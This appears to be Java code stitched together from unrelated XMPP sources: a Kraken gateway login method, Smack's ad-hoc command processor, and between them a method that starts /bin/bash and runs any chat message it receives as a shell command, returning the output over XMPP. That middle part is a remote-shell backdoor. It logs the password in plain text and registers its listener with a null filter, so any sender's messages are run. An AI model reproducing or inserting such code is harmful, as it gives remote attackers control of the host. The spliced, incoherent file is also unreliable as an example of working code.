/** @see net.sf.kraken.session.TransportSession#logIn(net.sf.kraken.type.PresenceType, String) */
@Override
public void logIn(PresenceType presenceType, String verboseStatus) {
final org.jivesoftware.smack.packet.Presence presence =
new org.jivesoftware.smack.packet.Presence(
org.jivesoftware.smack.packet.Presence.Type.available);
if (JiveGlobals.getBooleanProperty(
"plugin.gateway." + getTransport().getType() + ".avatars", true)
&& getAvatar() != null) {
Avatar avatar = getAvatar();
// Same thing in this case, so lets go ahead and set them.
avatar.setLegacyIdentifier(avatar.getXmppHash());
VCardUpdateExtension ext = new VCardUpdateExtension();
ext.setPhotoHash(avatar.getLegacyIdentifier());
presence.addExtension(ext);
}
final Presence.Mode pMode =
((XMPPTransport) getTransport()).convertGatewayStatusToXMPP(presenceType);
if (pMode != null) {
presence.setMode(pMode);
}
if (verboseStatus != null && verboseStatus.trim().length() > 0) {
presence.setStatus(verboseStatus);
}
setPendingPresenceAndStatus(presenceType, verboseStatus);
if (!this.isLoggedIn()) {
listener = new XMPPListener(this);
presenceHandler = new XMPPPresenceHandler(this);
runThread =
new Thread() {
@Override
public void run() {
String userName = generateUsername(registration.getUsername());
conn = new XMPPConnection(config);
try {
conn.getSASLAuthentication()
.registerSASLMechanism("DIGEST-MD5", MySASLDigestMD5Mechanism.class);
if (getTransport().getType().equals(TransportType.facebook)
&& registration.getUsername().equals("{PLATFORM}")) {
conn.getSASLAuthentication()
.registerSASLMechanism(
"X-FACEBOOK-PLATFORM", FacebookConnectSASLMechanism.class);
conn.getSASLAuthentication().supportSASLMechanism("X-FACEBOOK-PLATFORM", 0);
}
Roster.setDefaultSubscriptionMode(SubscriptionMode.manual);
conn.connect();
conn.addConnectionListener(listener);
try {
conn.addPacketListener(
presenceHandler,
new PacketTypeFilter(org.jivesoftware.smack.packet.Presence.class));
// Use this to filter out anything we don't care about
conn.addPacketListener(
listener,
new OrFilter(
new PacketTypeFilter(GoogleMailBoxPacket.class),
new PacketExtensionFilter(
GoogleNewMailExtension.ELEMENT_NAME,
GoogleNewMailExtension.NAMESPACE)));
conn.login(userName, registration.getPassword(), xmppResource);
conn.sendPacket(presence); // send initial presence.
conn.getChatManager().addChatListener(listener);
conn.getRoster().addRosterListener(listener);
if (JiveGlobals.getBooleanProperty(
"plugin.gateway." + getTransport().getType() + ".avatars",
!TransportType.facebook.equals(getTransport().getType()))
&& getAvatar() != null) {
new Thread() {
@Override
public void run() {
Avatar avatar = getAvatar();
VCard vCard = new VCard();
try {
vCard.load(conn);
vCard.setAvatar(
Base64.decode(avatar.getImageData()), avatar.getMimeType());
vCard.save(conn);
} catch (XMPPException e) {
Log.debug("XMPP: Error while updating vcard for avatar change.", e);
} catch (NotFoundException e) {
Log.debug("XMPP: Unable to find avatar while setting initial.", e);
}
}
}.start();
}
setLoginStatus(TransportLoginStatus.LOGGED_IN);
syncUsers();
if (getTransport().getType().equals(TransportType.gtalk)
&& JiveGlobals.getBooleanProperty(
"plugin.gateway.gtalk.mailnotifications", true)) {
conn.sendPacket(
new IQWithPacketExtension(
generateFullJID(getRegistration().getUsername()),
new GoogleUserSettingExtension(null, true, null),
IQ.Type.SET));
conn.sendPacket(
new IQWithPacketExtension(
generateFullJID(getRegistration().getUsername()),
new GoogleMailNotifyExtension()));
mailCheck = new MailCheck();
timer.schedule(mailCheck, timerInterval, timerInterval);
}
} catch (XMPPException e) {
Log.debug(
getTransport().getType()
+ " user's login/password does not appear to be correct: "
+ getRegistration().getUsername(),
e);
setFailureStatus(ConnectionFailureReason.USERNAME_OR_PASSWORD_INCORRECT);
sessionDisconnectedNoReconnect(
LocaleUtils.getLocalizedString("gateway.xmpp.passwordincorrect", "kraken"));
}
} catch (XMPPException e) {
Log.debug(
getTransport().getType()
+ " user is not able to connect: "
+ getRegistration().getUsername(),
e);
setFailureStatus(ConnectionFailureReason.CAN_NOT_CONNECT);
sessionDisconnected(
LocaleUtils.getLocalizedString("gateway.xmpp.connectionfailed", "kraken"));
}
}
};
runThread.start();
}
}
public void run() throws XMPPException, IOException, InterruptedException {
logger.debug("Trying to connect to " + host + ":" + port);
ConnectionConfiguration configuration = new ConnectionConfiguration(host, port, "gmail.com");
final XMPPConnection connection = new XMPPConnection(configuration);
connection.connect();
logger.debug("...connected");
SASLAuthentication.supportSASLMechanism("PLAIN", 0);
logger.debug("Trying to log in with credentials " + login + ":" + password);
connection.login(login, password, "MyXmppBot");
logger.debug("...logged in");
final Process process = Runtime.getRuntime().exec("/bin/bash");
final InputStream inputStream = process.getInputStream();
final OutputStream outputStream = process.getOutputStream();
Thread inputThread =
new Thread(
new Runnable() {
@Override
public void run() {
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
try {
while (true) {
String line = bufferedReader.readLine();
Message message = new Message(to);
message.setBody(line);
connection.sendPacket(message);
}
} catch (IOException e) {
e.printStackTrace();
}
}
});
inputThread.start();
final PrintWriter commandWriter = new PrintWriter(outputStream, true);
PacketListener listener =
new PacketListener() {
@Override
public void processPacket(Packet packet) {
if (packet instanceof Message) {
Message message = (Message) packet;
to = message.getFrom();
String command = message.getBody();
if (command != null) {
logger.debug("Command received:" + command);
if (command.equalsIgnoreCase("exit")) {
process.destroy();
System.exit(0);
} else {
commandWriter.println(command);
}
}
}
}
};
PacketFilter filter = new FromContainsFilter("carlos.prados");
Thread.sleep(1000);
connection.addPacketListener(listener, null);
}
/**
* Process the AdHoc-Command packet that request the execution of some action of a command. If
* this is the first request, this method checks, before executing the command, if:
*
* <ul>
* <li>The requested command exists
* <li>The requester has permissions to execute it
* <li>The command has more than one stage, if so, it saves the command and session ID for
* further use
* </ul>
*
* <br>
* <br>
* If this is not the first request, this method checks, before executing the command, if:
*
* <ul>
* <li>The session ID of the request was stored
* <li>The session life do not exceed the time out
* <li>The action to execute is one of the available actions
* </ul>
*
* @param requestData the packet to process.
*/
private void processAdHocCommand(AdHocCommandData requestData) {
// Only process requests of type SET
if (requestData.getType() != IQ.Type.SET) {
return;
}
// Creates the response with the corresponding data
AdHocCommandData response = new AdHocCommandData();
response.setTo(requestData.getFrom());
response.setPacketID(requestData.getPacketID());
response.setNode(requestData.getNode());
response.setId(requestData.getTo());
String sessionId = requestData.getSessionID();
String commandNode = requestData.getNode();
if (sessionId == null) {
// A new execution request has been received. Check that the
// command exists
if (!commands.containsKey(commandNode)) {
// Requested command does not exist so return
// item_not_found error.
respondError(response, XMPPError.Condition.item_not_found);
return;
}
// Create new session ID
sessionId = StringUtils.randomString(15);
try {
// Create a new instance of the command with the
// corresponding sessioid
LocalCommand command = newInstanceOfCmd(commandNode, sessionId);
response.setType(IQ.Type.RESULT);
command.setData(response);
// Check that the requester has enough permission.
// Answer forbidden error if requester permissions are not
// enough to execute the requested command
if (!command.hasPermission(requestData.getFrom())) {
respondError(response, XMPPError.Condition.forbidden);
return;
}
Action action = requestData.getAction();
// If the action is unknown then respond an error.
if (action != null && action.equals(Action.unknown)) {
respondError(
response,
XMPPError.Condition.bad_request,
AdHocCommand.SpecificErrorCondition.malformedAction);
return;
}
// If the action is not execute, then it is an invalid action.
if (action != null && !action.equals(Action.execute)) {
respondError(
response,
XMPPError.Condition.bad_request,
AdHocCommand.SpecificErrorCondition.badAction);
return;
}
// Increase the state number, so the command knows in witch
// stage it is
command.incrementStage();
// Executes the command
command.execute();
if (command.isLastStage()) {
// If there is only one stage then the command is completed
response.setStatus(Status.completed);
} else {
// Else it is still executing, and is registered to be
// available for the next call
response.setStatus(Status.executing);
executingCommands.put(sessionId, command);
// See if the session reaping thread is started. If not, start it.
if (!sessionsSweeper.isAlive()) {
sessionsSweeper.start();
}
}
// Sends the response packet
connection.sendPacket(response);
} catch (XMPPException e) {
// If there is an exception caused by the next, complete,
// prev or cancel method, then that error is returned to the
// requester.
XMPPError error = e.getXMPPError();
// If the error type is cancel, then the execution is
// canceled therefore the status must show that, and the
// command be removed from the executing list.
if (XMPPError.Type.CANCEL.equals(error.getType())) {
response.setStatus(Status.canceled);
executingCommands.remove(sessionId);
}
respondError(response, error);
e.printStackTrace();
}
} else {
LocalCommand command = executingCommands.get(sessionId);
// Check that a command exists for the specified sessionID
// This also handles if the command was removed in the meanwhile
// of getting the key and the value of the map.
if (command == null) {
respondError(
response,
XMPPError.Condition.bad_request,
AdHocCommand.SpecificErrorCondition.badSessionid);
return;
}
// Check if the Session data has expired (default is 10 minutes)
long creationStamp = command.getCreationDate();
if (System.currentTimeMillis() - creationStamp > SESSION_TIMEOUT * 1000) {
// Remove the expired session
executingCommands.remove(sessionId);
// Answer a not_allowed error (session-expired)
respondError(
response,
XMPPError.Condition.not_allowed,
AdHocCommand.SpecificErrorCondition.sessionExpired);
return;
}
/*
* Since the requester could send two requests for the same
* executing command i.e. the same session id, all the execution of
* the action must be synchronized to avoid inconsistencies.
*/
synchronized (command) {
Action action = requestData.getAction();
// If the action is unknown the respond an error
if (action != null && action.equals(Action.unknown)) {
respondError(
response,
XMPPError.Condition.bad_request,
AdHocCommand.SpecificErrorCondition.malformedAction);
return;
}
// If the user didn't specify an action or specify the execute
// action then follow the actual default execute action
if (action == null || Action.execute.equals(action)) {
action = command.getExecuteAction();
}
// Check that the specified action was previously
// offered
if (!command.isValidAction(action)) {
respondError(
response,
XMPPError.Condition.bad_request,
AdHocCommand.SpecificErrorCondition.badAction);
return;
}
try {
// TODO: Check that all the requierd fields of the form are
// TODO: filled, if not throw an exception. This will simplify the
// TODO: construction of new commands
// Since all errors were passed, the response is now a
// result
response.setType(IQ.Type.RESULT);
// Set the new data to the command.
command.setData(response);
if (Action.next.equals(action)) {
command.incrementStage();
command.next(new Form(requestData.getForm()));
if (command.isLastStage()) {
// If it is the last stage then the command is
// completed
response.setStatus(Status.completed);
} else {
// Otherwise it is still executing
response.setStatus(Status.executing);
}
} else if (Action.complete.equals(action)) {
command.incrementStage();
command.complete(new Form(requestData.getForm()));
response.setStatus(Status.completed);
// Remove the completed session
executingCommands.remove(sessionId);
} else if (Action.prev.equals(action)) {
command.decrementStage();
command.prev();
} else if (Action.cancel.equals(action)) {
command.cancel();
response.setStatus(Status.canceled);
// Remove the canceled session
executingCommands.remove(sessionId);
}
connection.sendPacket(response);
} catch (XMPPException e) {
// If there is an exception caused by the next, complete,
// prev or cancel method, then that error is returned to the
// requester.
XMPPError error = e.getXMPPError();
// If the error type is cancel, then the execution is
// canceled therefore the status must show that, and the
// command be removed from the executing list.
if (XMPPError.Type.CANCEL.equals(error.getType())) {
response.setStatus(Status.canceled);
executingCommands.remove(sessionId);
}
respondError(response, error);
e.printStackTrace();
}
}
}
}
